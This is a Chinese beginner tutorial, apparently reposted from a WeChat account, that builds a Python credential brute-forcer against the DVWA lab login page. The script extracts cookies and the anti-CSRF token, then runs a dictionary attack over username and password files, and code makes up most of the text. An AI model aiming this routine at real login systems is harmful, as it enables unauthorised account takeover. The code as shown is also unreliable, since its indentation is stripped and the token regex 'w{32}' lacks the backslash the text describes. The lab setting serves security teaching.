我对代码创造方面想象力丰富这是我最大的特点,下面我闲着没事就随便写了一个,非常简单的一个脚本
实验环境DVWA登录页面
手动测试他的登录机制
可以用burp进行抓包查看他的请求和响应
下面这个是他的首次请求的内容,请求数据包
第二次请求的时候发现他都有Cookie了
发现这个Cookie是第一次请求的时候他返回给客户端的,说明是服务器给的Cookie,基本上都是服务器给的
手动登录查看一下请求,发现有一个给登录着的随机数,如果随机数不正确的话,肯定是登录不了的
找随机数的来源,发现他是上一次请求响应的时候服务器给的
脚步的编写
获取登录的Cookie
用python的会话维持,获得Cookie,不要会话维持就像两个浏览器访问一样到下次Cookie是不一样的
import requests
# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')
# cookies方法输出获取请求后的cookies信息 用items()方法将其转化为元组组成的列表
getcookies = ask.cookies.items()
# 输出cookies
print(getcookies)
结果
[('PHPSESSID', 'b8lt4lvnr71cdosi1280vdceu4'), ('security', 'low')]
我们可以用指定输出列表
import requests
# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')
# 用items()方法将其转化为元组组成的列表
getcookies = ask.cookies.items()
# 输出cookies
print(getcookies[0][0])
print(getcookies[0][1])
print(getcookies[1][0])
print(getcookies[1][1])
结果,可以看见cookies获取到了
PHPSESSID
omhihkt4k2iae7ujgbl1q0dht6
security
low
获得随机数
应为随机数是在请求的响应的数据比分里面只能用正则表达式来获取
正则表达式写错w{32}
就可以匹配到了,他的意思是字母数字及下划线有连续的32个
代码这样写
import re
import requests
# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.84.58/login.php')
# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('w{32}',ask.text)
# 输出
print(x[0])
结果
44c9b688a6d79d94727744f97e2108c0
POST请求模拟登录
上面的cookies和随机数都已经得到了就可以破解了
我们就可以编写一个post
请求
查看他的请求内容
post请求数据部分就可以下面这样写
data={
'username':'xxxx', #用户名的地方
'password':'xxxx', #用户密码的地方
'Login':'login',
'user_token':x[0] # 随机数
}
全部代码
import re
import requests
# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.192.58/login.php')
# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('w{32}',ask.text)
data={
'username':'admin', #用户名的地方
'password':'password', #用户密码的地方
'Login':'login',
'user_token':x[0] # 随机数
}
# 用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()
# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]
# 创建请求头
headers = {
'Cookie':Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}
# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)
判断登录是否成功
在登录失败的时候他会返还Login failed
我们就可以通过判断有没有Login failed
来实现
代码
# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)
# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:
print('登录成功')
else:
print('破解失败')
全部代码
import re
import requests
# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.192.58/login.php')
# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('w{32}',ask.text)
data={
'username':'admin', #用户名的地方
'password':'password', #用户密码的地方
'Login':'login',
'user_token':x[0] # 随机数
}
# 用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()
# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]
# 创建请求头
headers = {
'Cookie':Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}
# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.192.58/login.php',headers=headers,data=data)
# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)
# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:
print('登录成功') # 内容没有Login failed就是登录成功了
else:
print('破解失败') # 有就是登录失败了
测试
输入正确的密码
输入错误密码,他就登录失败了说明没有问题
字典破解
这个就是文件的读取进行破解就没有什么好说的了
他的文件
文件内容
破解代码
import re
import requests
# 打开用户字典 errors="ignore"参数是忽略在读取的错误,应为想0xf1这样的就会报错
admin_txt=open("admin.txt",'r',errors="ignore")
def Crack(admin_txt):
# 用于记录破解次数
count = 0
# 用户一行一行获取文件的内容
for admin in admin_txt: # 这个循环一次
# 打开密码字典 errors="ignore"参数是忽略在读取的错误,应为想0xf1这样的就会报错
password_txt = open("password.txt", 'r', errors="ignore")
# 密码一行一行获取文件的内容
for password in password_txt: # 这个要叫文件内容循环完
# 用`Session` 对象维持会话
r=requests.session()
# 用Session的get请求
ask=r.get('http://192.168.31.122/login.php')
# findall()他会获得表达式里面的全部内容
# ask.text获得响应的数据的内容
x =re.findall('w{32}',ask.text)
data={
# 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
'username':admin.rstrip(), #字典的用户名
'password':password.rstrip(), #字典的用户密码
'Login':'login',
'user_token':x[0] # 随机数
}
# 用items()方法将其转化为元组组成的列表, 获得随机数
getcookies = ask.cookies.items()
# 叫cookies组合起来
Cookies=getcookies[0][0]+'='+getcookies[0][1]+'; '+getcookies[1][0]+'='+getcookies[1][1]
# 创建请求头
headers = {
'Cookie':Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
}
# POST请求,headers是请求头,data是数据部分
ask=r.post('http://192.168.31.122/login.php',headers=headers,data=data)
# ask.text是post请求后返回的内容,
# findall()他会获得表达式里面的全部内容,如果有Login failed就匹配到Login failed
failed =re.findall('Login failed',ask.text)
# 用来计数
count += 1
# 应为他返回的是列表,所以判断的也是['Login failed']列表
if failed != ['Login failed']:
# 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
print(str(count)+'破解成功:用户名'+admin.rstrip()+'密码'+password.rstrip())
# 关闭文件
admin_txt.close()
password_txt.close()
return
else:
# 应为python读取文件的时候会有换行符,可以用rstrip()方法去掉
print(str(count)+admin.rstrip()+password.rstrip())
# 关闭文件
password_txt.close()
# 调用函数
Crack(admin_txt)
结果
原文始发于微信公众号(W啥都学):小白入门详解脚本编写实现简单登录爆破
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论